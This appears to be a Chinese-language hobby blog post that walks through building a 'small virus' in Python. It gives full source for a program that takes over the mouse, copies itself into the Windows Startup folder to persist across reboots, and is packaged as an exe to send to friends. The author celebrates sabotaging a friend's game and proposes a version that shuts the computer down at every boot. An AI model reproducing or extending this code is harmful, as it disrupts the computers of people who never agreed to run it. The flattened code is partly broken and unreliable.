目錄
🏆一、前言
🏆二、程序第一版
🏆三、程序大魔改
🚩1、基礎改動
🚩2、打包
🚩3、F12保護機制
🚩4、添加開機自啟項
🚩5、自己也不懂的線程魔改
🏆四、最終代碼
🏆五、尾聲
🏆一、前言
(程序源碼在最終代碼部分。)
(本文配有資源現成的exe,可以直接轉發給好友)
(模塊:pyautogui,keyboard,sys,shutil,random,os,threading)
(該程序因為不完全是本人寫的,所以講解不怎么好,可忽略)
又是好幾個月沒寫文了,然后發生了一件特別有趣的事想起來了。
自己在遠古時代寫了一個pyautogui的鼠標亂動程序,最近學了打包,然后就把程序打包下來發給我的QQ好友。
我的好友打開這個程序了之后,鼠標亂點剛好點到他的游戲,幫他直接開了一把,還從黃金掉到白銀了哈哈哈哈哈哈
然后就拿著這個程序找我同學,花一天時間將程序大改良,成功做出了一個小型病毒。
程序實現了:
1.運行后鼠標亂動,無法控制。
2.長按F12可以解除。
3.添加開機啟動項,重啟后繼續運行。
🏆二、程序第一版
import pyautogui as gui
import random as r
gui.FAILSAFE =True
a=0
while a<=100:b=r.randint(1,3)if b==1:gui.moveTo(r.randint(1,1919),r.randint(1,1079))if b==2:gui.click(r.randint(1,1919),r.randint(1,1079),button='left')if b==3:gui.dragTo(r.randint(1,1919),r.randint(1,1079))a+=1
這是我做的第一版程序,鼠標可以亂動亂點亂拖100次。后面感覺有點傷害電腦就把亂點亂拖去掉了,只能亂動。
先了解一下pyautogui模塊:這是一個自動化腳本模塊,內有可以操控自己的鼠標和鍵盤的函數。詳情可以在我的主頁查找python詳解(6)這篇文章。
配置pyautogui模塊,只需輸入pip install pyautogui即可。
本程序第三行中的FAILSAFE是一個安全變量,把他設置為True,只要鼠標運行時用力往左上角拖就不會報錯。默認為True。
第8行的moveTo函數有移動鼠標到指定坐標的作用。顯示器的坐標通常是1920*1080。
第10行的click函數有在指定坐標單機的作用。button參數為單機的鼠標鍵。button='right'就會單機鼠標右鍵。
第12行的dragTo有長按鼠標,移動到指定坐標,再松開鼠標的作用,說人話就是拖動。
這個程序要說那里都不錯,就是沒有實現做出來的意義:打包出來去坑人!
🏆三、程序大魔改
想要把程序拿去坑人,就必須進行打包變成exe格式,這樣即使對方的電腦沒有對應模塊,甚至沒有python也能運行。
結果我打包的時候不知道什么原因總是一運行就閃退,于是求助我的同學,結果他直接幫我把程序進行了大魔改:
🚩1、基礎改動
將程序做了一些基礎改動:gui.FAILSAFE調整為False;將鼠標的點擊拖動程序去掉;循環次數直接改成無限次。這些都是小改動,不是重點。
🚩2、打包
打包程序最常用的模塊就是pyinstaller。還是萬能的pip install安裝。
在cmd界面輸入:
pyinstaller -F 要打包文件的路徑
等待他把一大串東西輸出完,文件就打包到了Administrator里面,點開里面的dist文件夾,里面的exe程序就是打包好的程序,雙擊就可以運行。
不知道什么原因我打包帶有pyautogui的程序總是出問題,但是其他程序可以。我同學打包pyautogui程序也可以,就很難評。
🚩3、F12保護機制
代碼要實現:偵測到按下F12之后退出程序。
keyboard模塊里面(還是需要pip安裝)有一個函數:
keyboard.is_pressed()
他將會偵測一個鍵盤按鍵是否被按下。是則返回True。
sys模塊里面有exit()函數,可以關閉該窗口。
于是,我們可以設置一個鼠標移動的函數:
def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
大功告成!
🚩4、添加開機自啟項
要想程序開機自啟,有一個神奇的路徑:
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
只要把文件放在這個路徑里面,程序就會開機自啟。這里又要用到其他模塊了:shutil(第三方)還有sys。
shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
這段代碼可以將該文件復制到開啟自啟項里。
然后呢,就有一個問題:這個文件開機自啟之后,會再運行一遍這個添加開機自啟的程序,因為這個程序已經在開機自啟項里面了,所以會報錯。接下來,要用到萬能的os模塊:
os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
這串代碼可以返回檢索文件結果。如果找到這個文件了就返回True。這樣我們可以進行控制:
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
if f == True:#如果包含該文件try:if __name__ == "__main__":待補充except Exception as e:#這個地方是出現報錯的時候了解報錯情況用的print(e)
else:#如果不包含該文件shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")#直接添加while True:move()
🚩5、自己也不懂的線程魔改
多線程實在看不懂學不會。我同學本人的描述是:
就是創建一個線程,如果之后要加功能的話,也方便,直接扔線程池就完事兒了,創建一個線程,應該也可以避免部分崩潰罷。
然后把上述代碼魔改成了這樣:
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()
看不懂一點,不過能用就行。
🏆四、最終代碼
import pyautogui as gui
gui.FAILSAFE = False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()
28行代碼,我和同學兩個人討論了1天半,最終還是實現了。只要配置好所有模塊打包下來就能用辣!
🏆五、尾聲
程序實用性還是不咋的,殺傷力太小,其實可以在這個基礎上做一個開機自啟關機的程序,直接毒死所有人。
感謝觀看!
--------------------------------------------------------end-------------------------------------------------